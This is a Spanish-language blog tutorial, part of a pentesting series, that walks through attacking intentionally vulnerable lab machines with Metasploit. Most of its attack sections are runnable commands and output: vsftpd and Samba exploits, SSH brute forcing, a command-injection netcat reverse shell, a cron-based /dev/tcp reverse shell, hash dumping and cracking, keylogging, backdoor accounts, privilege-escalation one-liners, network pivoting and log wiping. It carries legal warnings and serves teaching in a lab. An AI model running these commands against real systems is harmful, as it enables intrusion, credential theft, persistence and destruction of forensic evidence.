Menú
Sobre mí Servicios Trayectoria Trabaja conmigo
Cybersecurity concept visualization
Seguridad 8 Mar, 2026 • 28 min de lectura

Explotación: De la Vulnerabilidad al Shell

Master Metasploit Framework, exploit real vulnerabilities, escalate privileges, and pivot through networks. The complete guide to ethical exploitation techniques.

Compartir:
Lee Foropoulos

Lee Foropoulos

28 min de lectura

El Camino del Hacker: Una Serie de 5 Partes

Parte 1: IntroducciónParte 2: Dominio del FlipperParte 3: Fundamentos de KaliParte 4: ExplotaciónParte 5: La Auditoría Completa

En las Partes 1-3, construiste tu kit de herramientas. Puedes clonar tarjetas de acceso, mapear redes, capturar handshakes e identificar cada servicio que corre en un objetivo. Ahora ves vulnerabilidades por todas partes. Pero ver una vulnerabilidad y explotarla son habilidades muy diferentes.

Aquí es donde la cosa se pone seria. Hoy aprenderás a usar el Metasploit Framework, la misma herramienta que usan los pentesters profesionales en todo el mundo. Explotarás tu primera vulnerabilidad, establecerás persistencia, escalarás privilegios y aprenderás a pivotar a través de una red.

La Línea Que No Debes Cruzar

Todo lo que aparece en este artículo debe practicarse en sistemas que poseas o para los que tengas permiso explícito por escrito. El acceso no autorizado a sistemas informáticos es un delito federal con penas de hasta 20 años de prisión. "Solo estaba aprendiendo" no es una defensa válida. Construye un laboratorio, usa VMs intencionalmente vulnerables y nunca toques sistemas que no te pertenezcan.

Parte 1: Construyendo Tu Laboratorio de Ataque

Antes de explotar cualquier cosa, necesitas objetivos. Los pentesters reales usan entornos de laboratorio aislados con máquinas intencionalmente vulnerables. Tú harás lo mismo.

La Configuración Esencial del Laboratorio

Lo Que Necesitarás

  • Kali Linux VM - Tu máquina de ataque (de la Parte 3)
  • Metasploitable 2 - VM Linux intencionalmente vulnerable (SourceForge)
  • Metasploitable 3 - VM Windows/Linux vulnerable (GitHub)
  • DVWA - Damn Vulnerable Web Application (GitHub)
  • VulnHub VMs - Máquinas vulnerables estilo CTF (vulnhub.com)

Proyecto: Configuración de Red del Laboratorio

Tiempo: 45 minutos

  1. Descarga Metasploitable 2 desde SourceForge
  2. Importa en VirtualBox/VMware
  3. Configura la red: Pon tanto Kali como Metasploitable en "Host-Only" o "Internal Network"
  4. Inicia Metasploitable (login por defecto: msfadmin / msfadmin)
  5. Anota la dirección IP: ifconfig
  6. Desde Kali, verifica la conectividad: ping METASPLOITABLE_IP
  7. Ejecuta un escaneo inicial: sudo nmap -sV -sC METASPLOITABLE_IP

Verificación: Deberías ver docenas de puertos abiertos. Metasploitable está diseñado para ser comprometido.

Tu escaneo nmap de Metasploitable debería revelar servicios como FTP, SSH, Telnet, SMTP, HTTP, Samba, MySQL, PostgreSQL y más, muchos corriendo versiones desactualizadas y vulnerables. Este es tu campo de juego.

Parte 2: Fundamentos del Metasploit Framework

Metasploit no es solo una herramienta. Es un ecosistema. Contiene miles de exploits, payloads, módulos auxiliares y herramientas de post-explotación. Entender su estructura es esencial.

4,000+
Módulos de exploit disponibles en el Metasploit Framework, cubriendo cada plataforma principal y clase de vulnerabilidad.

Iniciando Metasploit

bash# Initialize the database (first time only)
sudo msfdb init

# Start Metasploit console
msfconsole

# You'll see the Metasploit banner and prompt:
msf6 >

La Estructura de Metasploit

Metasploit organiza todo en módulos:

  • Exploits - Código que aprovecha vulnerabilidades
  • Payloads - Código que se ejecuta después de la explotación (shells, meterpreter)
  • Auxiliary - Escáneres, fuzzers y otras utilidades
  • Post - Módulos de post-explotación para persistencia, pivoteo
  • Encoders - Ofuscan payloads para evadir detección
bash# Search for modules
msf6 > search type:exploit platform:linux smb

# Search by CVE
msf6 > search cve:2017-0144

# Search by name
msf6 > search vsftpd

# Get info about a module
msf6 > info exploit/unix/ftp/vsftpd_234_backdoor

El Flujo de Trabajo de Explotación

Cada explotación en Metasploit sigue el mismo patrón:

  1. Selecciona un exploit - use exploit/path/to/module
  2. Configura opciones - IP del objetivo, puertos, credenciales
  3. Selecciona un payload - Lo que se ejecuta después de la explotación
  4. Ejecuta - exploit o run
Cybersecurity operations with code on multiple screens
El Metasploit Framework proporciona un enfoque estructurado para la explotación, convirtiendo la investigación de vulnerabilidades en flujos de trabajo profesionales y repetibles.

Parte 3: Tu Primer Exploit

Vamos a explotar una de las puertas traseras más famosas de la historia: el backdoor de vsftpd 2.3.4. En 2011, alguien insertó una puerta trasera en el código fuente de vsftpd. Si envías un nombre de usuario que termine con :), se abre un shell en el puerto 6200.

Metasploitable 2 ejecuta exactamente esta versión.

bash# Start Metasploit
msfconsole

# Search for the exploit
msf6 > search vsftpd

# Select the exploit
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

# View required options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

# Set the target
msf6 exploit(...) > set RHOSTS 192.168.56.101

# Run the exploit
msf6 exploit(...) > exploit

# If successful:
[*] Command shell session 1 opened
[+] Got shell!

# You now have a root shell on the target
whoami
root
id
uid=0(root) gid=0(root)

Eso es todo. Un servicio vulnerable, un exploit, acceso root. Por eso mantener el software actualizado importa.

Un servicio vulnerable, un exploit, acceso root. Por eso mantener el software actualizado importa.

Proyecto: Explotar el Backdoor de vsftpd

Tiempo: 15 minutos

Requisitos previos: Metasploitable 2 corriendo, Kali en la misma red

  1. Verifica que FTP está corriendo: nmap -sV -p 21 TARGET_IP
  2. Lanza msfconsole
  3. Busca, selecciona y configura el exploit de vsftpd
  4. Ejecuta el exploit
  5. Una vez que tengas un shell, explora: cat /etc/shadow

Criterio de éxito: Puedes leer /etc/shadow, al que solo root puede acceder.

Parte 4: Entendiendo los Payloads

Un payload es lo que se ejecuta después de que el exploit tiene éxito. El shell básico que obtuvimos arriba es simple, pero Metasploit ofrece opciones mucho más poderosas.

Tipos de Payloads

  • Singles - Payloads autónomos de un solo uso (agregar usuario, ejecutar comando)
  • Stagers - Payloads pequeños que establecen una conexión y luego descargan el payload principal
  • Stages - El payload principal descargado por el stager (Meterpreter)
bash# List compatible payloads for current exploit
msf6 exploit(...) > show payloads

# Set a specific payload
msf6 exploit(...) > set PAYLOAD linux/x86/meterpreter/reverse_tcp

# Payload naming convention:
# platform/arch/payload_type/connection_type
# linux/x86/meterpreter/reverse_tcp
# windows/x64/shell/bind_tcp

Reverse vs Bind Shells

  • Reverse shell - El objetivo se conecta de vuelta a ti. Mejor para evadir firewalls (el tráfico saliente generalmente está permitido).
  • Bind shell - El objetivo abre un puerto para que te conectes. Más fácil de detectar, frecuentemente bloqueado por firewalls.
bash# For reverse shells, you must set your IP
msf6 exploit(...) > set LHOST YOUR_KALI_IP
msf6 exploit(...) > set LPORT 4444

# Metasploit starts a listener automatically when you exploit

Meterpreter: El Payload Definitivo

Meterpreter es el payload más poderoso de Metasploit. Se ejecuta completamente en memoria (sin archivos en disco), proporciona comunicación cifrada e incluye docenas de comandos integrados para post-explotación.

bash# Meterpreter commands (once you have a session)
meterpreter > sysinfo          # System information
meterpreter > getuid           # Current user
meterpreter > pwd              # Current directory
meterpreter > ls               # List files
meterpreter > download file    # Download file to Kali
meterpreter > upload file      # Upload file to target
meterpreter > shell            # Drop to system shell
meterpreter > hashdump         # Dump password hashes
meterpreter > screenshot       # Take screenshot
meterpreter > keyscan_start    # Start keylogger
meterpreter > keyscan_dump     # Dump keystrokes
meterpreter > background       # Background this session

Parte 5: Más Técnicas de Explotación

Explotando Samba (SMB)

Metasploitable 2 ejecuta una versión vulnerable de Samba. Esto es similar al infame exploit EternalBlue usado en WannaCry.

bash# Search for Samba exploits
msf6 > search type:exploit samba

# The "username map script" vulnerability
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(...) > set RHOSTS TARGET_IP
msf6 exploit(...) > set PAYLOAD cmd/unix/reverse
msf6 exploit(...) > set LHOST YOUR_IP
msf6 exploit(...) > exploit

[*] Command shell session 2 opened

Explotando Credenciales Débiles

No todo compromiso requiere una vulnerabilidad de software. Las contraseñas débiles están en todas partes.

bash# SSH brute-force auxiliary module
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS TARGET_IP
msf6 auxiliary(...) > set USERNAME root
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(...) > set STOP_ON_SUCCESS true
msf6 auxiliary(...) > run

# For known credentials
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set USERNAME msfadmin
msf6 auxiliary(...) > set PASSWORD msfadmin
msf6 auxiliary(...) > run

[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'

Explotación de Aplicaciones Web

Metasploitable incluye varias aplicaciones web vulnerables. Vamos a explotar una inyección de código PHP.

bash# First, browse to http://TARGET/mutillidae/
# Find the "User Lookup" page (vulnerable to SQLi and code injection)

# Use Metasploit's web exploits
msf6 > search type:exploit php

# Or exploit manually with command injection:
# In vulnerable input field:
; cat /etc/passwd
; nc -e /bin/bash YOUR_IP 4444

Proyecto: Explotar Tres Servicios Diferentes

Tiempo: 60 minutos

Objetivo: Metasploitable 2

  1. Explotar el backdoor de vsftpd (FTP - puerto 21) y obtener shell root
  2. Explotar Samba usermap_script (SMB - puerto 139/445) y obtener shell root
  3. Crackear credenciales SSH (puerto 22) usando auxiliary/scanner/ssh/ssh_login
  4. Documenta cada explotación: módulo usado, opciones configuradas, resultado

Bonus: Explora las aplicaciones web en el puerto 80 y encuentra vectores de explotación manual.

Parte 6: Post-Explotación

Obtener un shell es solo el comienzo. Las pruebas de penetración reales requieren demostrar lo que un atacante podría hacer con ese acceso. Esto es post-explotación.

Recopilación de Información

text# From a Meterpreter session
meterpreter > sysinfo
Computer    : metasploitable
OS          : Linux 2.6.24
Architecture: i686
Meterpreter : x86/linux

# Network information
meterpreter > ipconfig
meterpreter > route
meterpreter > arp
bash# From a regular shell
cat /etc/passwd       # All users
cat /etc/shadow       # Password hashes (requires root)
cat /etc/hosts        # Network mappings
netstat -tulpn        # Open ports
ps aux                # Running processes
crontab -l            # Scheduled tasks

Recolección de Credenciales

text# Dump password hashes
meterpreter > hashdump
root:$1$XtqVHIvN$0MnR7..........:0:0:root:/root:/bin/bash
msfadmin:$1$XN10Zj2c$Rt/zzC........:1000:1000::/home/msfadmin:/bin/bash
bash# Or from shell
cat /etc/shadow

# Crack hashes offline with John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Or hashcat (faster with GPU)
hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txt

Estableciendo Persistencia

Persistencia significa mantener el acceso incluso después de reinicios o cuando tu vector de exploit inicial es parcheado.

bash# Add a new user with sudo access
useradd -m -s /bin/bash hacker
echo "hacker:password123" | chpasswd
usermod -aG sudo hacker

# Add SSH key for passwordless access
mkdir /home/hacker/.ssh
echo "YOUR_PUBLIC_KEY" >> /home/hacker/.ssh/authorized_keys

# Cron-based reverse shell (reconnects every minute)
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'" >> /var/spool/cron/crontabs/root

# Metasploit persistence module
meterpreter > run persistence -h
meterpreter > run persistence -X -i 60 -p 4444 -r YOUR_IP

Persistencia = Evidencia

Cada mecanismo de persistencia deja rastros. En una prueba de penetración real, documentas lo que podrías hacer y luego limpias. Dejar puertas traseras en sistemas de clientes es poco profesional y potencialmente ilegal. En tu laboratorio, haz lo que quieras, pero entiende las implicaciones.

Parte 7: Escalación de Privilegios

A menudo obtienes acceso inicial como un usuario con pocos privilegios. Escalar a root/admin generalmente es necesario para lograr los objetivos de la prueba.

Escalación de Privilegios en Linux

bash# Current user context
id
whoami

# SUID binaries (run as owner regardless of who executes)
find / -perm -4000 -type f 2>/dev/null

# World-writable directories
find / -writable -type d 2>/dev/null

# Sudo permissions
sudo -l

# Kernel version (for kernel exploits)
uname -a

# Running processes as root
ps aux | grep root

# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*

Scripts de Enumeración Automatizada

bash# Upload and run LinPEAS
# From Kali, host the script:
python3 -m http.server 8000

# From target:
wget http://YOUR_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# LinPEAS highlights potential vectors in colors:
# RED/YELLOW = Critical findings, likely exploitable

Vectores Comunes de Privesc en Linux

bash# 1. Sudo misconfiguration
sudo -l
# If you see: (ALL) NOPASSWD: /usr/bin/vim
sudo vim -c '!sh'
# Instant root shell

# 2. SUID binary exploitation
# If /usr/bin/find has SUID bit:
find . -exec /bin/sh -p \;

# 3. Writable /etc/passwd
# Generate password hash:
openssl passwd -1 mypassword
# Add to /etc/passwd:
echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' >> /etc/passwd

# 4. Cron job exploitation
# If a cron runs a writable script as root:
echo 'chmod +s /bin/bash' >> /path/to/cron/script
# Wait for cron, then:
/bin/bash -p
# Root shell

Escalación de Privilegios en Windows

Si estás probando objetivos Windows (Metasploitable 3), las técnicas son diferentes:

text# From Meterpreter on Windows
meterpreter > getuid
Server username: VICTIM\lowpriv_user

meterpreter > getsystem
[+] ...got SYSTEM

# If getsystem fails, try:
meterpreter > run post/multi/recon/local_exploit_suggester

# Or background and use specific exploit:
meterpreter > background
msf6 > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
msf6 exploit(...) > set SESSION 1
msf6 exploit(...) > exploit

Proyecto: Escalar de Usuario a Root

Tiempo: 45 minutos

Escenario: Tienes acceso SSH a Metasploitable como msfadmin (no root)

  1. SSH a Metasploitable: ssh msfadmin@TARGET
  2. Ejecuta id para confirmar que no eres root
  3. Verifica permisos sudo: sudo -l
  4. Busca binarios SUID: find / -perm -4000 2>/dev/null
  5. Sube y ejecuta LinPEAS
  6. Identifica un vector de privesc y explótalo

Meta: Obtener un shell root usando algo que no sea explotar un servicio de red.

Hacker working on code in a dark environment
La escalación de privilegios transforma el acceso limitado en control total del sistema, frecuentemente a través de configuraciones erróneas pasadas por alto en lugar de exploits sofisticados.

Parte 8: Pivoteo

El pivoteo es usar un sistema comprometido para atacar otros sistemas que no son directamente accesibles desde tu máquina de ataque. Así es como los atacantes se mueven lateralmente a través de las redes.

El Escenario de Pivoteo

Imagina esta red:

  • Tu Kali: 192.168.1.100
  • Host comprometido: 192.168.1.50 (también conectado a la red interna 10.0.0.0/24)
  • Objetivo: 10.0.0.10 (solo accesible desde 192.168.1.50)

No puedes alcanzar 10.0.0.10 directamente. Pero a través del host comprometido, sí puedes.

Enrutamiento con Metasploit

text# After getting a Meterpreter session on the pivot host
meterpreter > ipconfig
# Shows two interfaces: 192.168.1.50 and 10.0.0.50

meterpreter > run autoroute -s 10.0.0.0/24
[+] Added route to 10.0.0.0/24 via session 1

meterpreter > background

# Now Metasploit routes 10.0.0.0/24 traffic through session 1
msf6 > route print

# Scan the internal network
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 10.0.0.1-254
msf6 auxiliary(...) > set PORTS 22,80,443,445
msf6 auxiliary(...) > run

# Exploit internal targets through the pivot
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > set RHOSTS 10.0.0.10
msf6 exploit(...) > exploit

Proxy SOCKS para Acceso Completo

bash# Set up a SOCKS proxy through Meterpreter
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(...) > set SRVPORT 1080
msf6 auxiliary(...) > run

# Configure proxychains (/etc/proxychains4.conf)
socks5 127.0.0.1 1080

# Now any tool can access the internal network
proxychains nmap -sT -Pn 10.0.0.10
proxychains curl http://10.0.0.10
proxychains ssh [email protected]

Túneles SSH (Sin Metasploit)

bash# Dynamic port forwarding (SOCKS proxy)
ssh -D 1080 user@pivot_host

# Local port forwarding (specific port)
ssh -L 8080:10.0.0.10:80 user@pivot_host
# Now localhost:8080 reaches 10.0.0.10:80

# Remote port forwarding (expose your service to internal network)
ssh -R 4444:localhost:4444 user@pivot_host
# Internal hosts can reach your port 4444 via pivot_host:4444

Parte 9: Cubriendo Huellas

Los pentesters profesionales documentan su acceso pero limpian después de sí mismos. Entender cómo los atacantes cubren sus huellas también te ayuda a detectar intrusiones.

bash# Clear bash history
history -c
cat /dev/null > ~/.bash_history

# Clear auth logs (requires root)
echo "" > /var/log/auth.log
echo "" > /var/log/wtmp
echo "" > /var/log/btmp

# Remove specific log entries
sed -i '/YOUR_IP/d' /var/log/auth.log

# Timestomp (change file timestamps)
touch -r /etc/passwd /path/to/your/file

# Meterpreter
meterpreter > clearev          # Clear Windows event logs
meterpreter > timestomp file -m "01/01/2020 12:00:00"

En Trabajos Reales: No Hagas Esto

Los pentesters profesionales documentan su acceso y reportan sus hallazgos. No los esconden. Borrar logs destruye evidencia que los defensores necesitan para entender la ruta de ataque. Solo practica estas técnicas en tu entorno de laboratorio aislado.

El Camino del Hacker

Una serie de 5 partes que te lleva de curioso a capaz.

Parte 1: Introducción Parte 2: Dominio del Flipper Parte 3: Fundamentos de Kali Parte 4: Explotación ✓ Parte 5: Auditoría Completa

Lista de Verificación de la Parte 4

☐ Configuración del Lab: Metasploitable 2 corriendo, red aislada configurada

☐ Metasploit: Base de datos inicializada, navegación básica dominada

☐ Primer Exploit: Backdoor de vsftpd explotado, shell root obtenido

☐ Múltiples Vectores: Explotados FTP, SMB y credenciales SSH crackeadas

☐ Post-Explotación: Hashes de contraseñas volcados, sistema enumerado

☐ Escalación de Privilegios: Escalado de usuario a root sin exploit de red

☐ Pivoteo: Entender los conceptos de autoroute y proxy SOCKS

☐ Documentación: Todos los exploits documentados con pasos y evidencia

Plan de Acción de Habilidades de Explotación 0/5

Lo Que Viene

Has aprendido a explotar vulnerabilidades, escalar privilegios y pivotar a través de redes. Has visto lo rápido que una sola debilidad se convierte en un compromiso total. Entiendes lo que hacen los pentesters profesionales.

En la Parte 5, unimos todo. Realizarás una auditoría de seguridad completa de principio a fin:

  • Alcance y reglas de compromiso
  • Metodología completa de reconocimiento
  • Explotación sistemática
  • Post-explotación exhaustiva
  • Reporte profesional
  • Recomendaciones de remediación

La Parte 5 es el proyecto final. Todo lo que has aprendido a lo largo de esta serie se une en una metodología del mundo real que puedes usar para evaluar la seguridad de cualquier red que estés autorizado a probar.

Has aprendido las técnicas. Ahora aprendes la metodología. La Parte 5 convierte habilidades en un flujo de trabajo completo de pruebas de penetración.

Nos vemos en la Parte 5.

How was this article?

Compartir

Link copied to clipboard!

You Might Also Like

Lee Foropoulos

Lee Foropoulos

Business Development Lead at Lookatmedia, fractional executive, and founder of gotHABITS.

🔔

No te pierdas ninguna publicacion

Recibe notificaciones cuando se publiquen nuevos articulos. No se requiere correo electronico.

Veras un aviso en el sitio cuando haya una nueva publicacion, ademas de una notificacion del navegador si lo permites.

Solo notificaciones del navegador. Sin spam, sin correo.